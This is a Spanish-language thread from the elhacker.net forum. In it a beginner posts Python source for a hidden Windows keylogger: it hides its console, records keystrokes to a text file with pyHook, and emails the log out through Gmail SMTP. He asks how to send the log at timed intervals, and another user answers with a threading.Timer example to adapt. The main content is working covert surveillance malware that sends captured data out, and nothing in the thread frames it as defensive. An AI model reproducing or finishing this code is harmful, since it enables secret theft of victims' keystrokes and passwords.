Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: c405 en 22 Mayo 2017, 00:43 am



Título: Duda sobre python y funcion time
Publicado por: c405 en 22 Mayo 2017, 00:43 am
Buenas, por favor de aclararme esta interrogante, tengo una funcion que captura las teclas y las guarda en un txt y otra funcion que me envia ese txt por mail, ahora lo que me gustaria saber es como hacer para que ese txt me sea enviado cada X cantidad de tiempo. Eso deberia implementarlo en la funcion que me envia el mail, pero la verdad que estoy bastante mariado, llevo todo el día enroscado en esto. Si alguien puede echarme un cable se lo agradezco brothers.


Título: Re: Duda sobre python y funcion time
Publicado por: tincopasan en 22 Mayo 2017, 01:16 am
hay varias formas de hacerlo, con la biblioteca time o con la de threading. Hay cientos de ejemplos en la red. Podrías poner un código de como lo quieres hacer y ahí ver si hay error o las posibilidades. además no es lo mismo que se repita cada minuto que cada horas o a una hora determinada. En fin hay muchas  variables.


Título: Re: Duda sobre python y funcion time
Publicado por: c405 en 22 Mayo 2017, 01:58 am
Gracias Bro por responder, mira basicamente esto es lo que he codeado, please misericordia no hace mucho comienzo en programacion.

Código
  1. #Construir Email
  2. import smtplib
  3. from email.mime.multipart import MIMEMultipart
  4. from email.mime.text import MIMEText
  5. #Adjuntar Email
  6. from email.MIMEBase import MIMEBase
  7. from email import encoders
  8.  
  9. import win32api, win32console, win32gui
  10. win=win32console.GetConsoleWindow()
  11. win32gui.ShowWindow(win,0)
  12. import pythoncom, pyHook, sys, logging
  13. import time, datatime
  14.  
  15.  
  16.  
  17. #ARRANCA E-MAIL
  18. addr_to = 'usuario@gmail.com'
  19. addr_from = 'usuario@gmail.com'
  20. smtp_server = smtplib.SMTP('smtp.gmail.com', 587)
  21. smtp_user = 'usuario@gmail.com'
  22. smtp_pass = 'password'
  23. #Se construye el Email
  24. msg = MIMEMultipart()
  25. msg['To'] = addr_to
  26. msg['From'] = addr_from
  27. msg['Subject'] = ':)'
  28. msg.attach(MIMEText('sin titulo', 'plain'))
  29. #Adjunta fichero
  30. fp = open('C:\Users\data.txt', 'rb')
  31. adjunto = MIMEBase('multipart', 'encrypted')
  32. adjunto.set_payload(fp.read())
  33. fp.close()
  34. encoders.encode_base64(adjunto)
  35. adjunto.add_header('Content-Disposition', 'attachment', filename='data.txt')
  36. #Se adjunta al msg/Email
  37. msg.attach(adjunto)
  38. #Iniamos SMTP - loggea - envia - apaga conexion
  39. #server = smtp_server
  40. smtp_server.starttls()
  41. smtp_server.login(smtp_user, smtp_pass)
  42. smtp_server.sendmail(addr_from, addr_to, msg.as_string())
  43. smtp_server.quit()
  44.  
  45.  
  46.  
  47. #Comienza Keylogger
  48. N_archivo = 'C:\Users\data.txt'
  49. def OnKeyboardEvent(event):
  50. logging.basicConfig(filename=N_archivo,
  51.    level=logging.DEBUG,
  52.    format='%(message)s')
  53. logging.log(10,chr(event.Ascii))
  54. return True
  55.  
  56. hm = pyHook.HookManager()
  57. hm.KeyDown = OnKeyboardEvent
  58. hm.HookKeyboard()
  59. pythoncom.pumpMessages()
  60.  
Osea por separado las funciones van bien, el mail me llega con un txt adjunto, por separado el keylogger funciona, claro que visto los codigos de muchos ejemplos que ahi en la red, pero ahora como no entiendo como hacer para que el mail salga cuando ha estado por ejemplo capturando teclas durante una hora, ahora mismo estoy leyendo sobre Thread ( hilos ). pero aun no comprendo del todo el concepto de como aplicarlo.
Devuelta muchas gracias  ya que me estas orientando bastante.

Mil disculpas Engel Lex, no vuelve a suceder!   :rolleyes:

· Los códigos deben ir en etiquetas GeSHi
·No hacer Doble post, usa el botón modificar
>aquí las reglas del foro (http://foro.elhacker.net/reglas.htm)
-Engel Lex



Título: Re: Duda sobre python y funcion time
Publicado por: tincopasan en 22 Mayo 2017, 03:14 am
no voy a modificar tu código, te muestro una posibilidad de como hacerlo.
Código
  1. import threading
  2. def Saludar():
  3.    print ("Hola, hay un keylogger")
  4.  
  5. contador= 0
  6. while contador < 5:
  7.    t = threading.Timer(5.0, Saludar)
  8.    t.start()
  9.    t.join()
  10.    contador+=1
  11.  
ahora ves como podés aplicarlo a tu interés.
Saludos.


Título: Re: Duda sobre python y funcion time
Publicado por: c405 en 22 Mayo 2017, 03:31 am
Gracias, creo comprender la idea.
Saludos.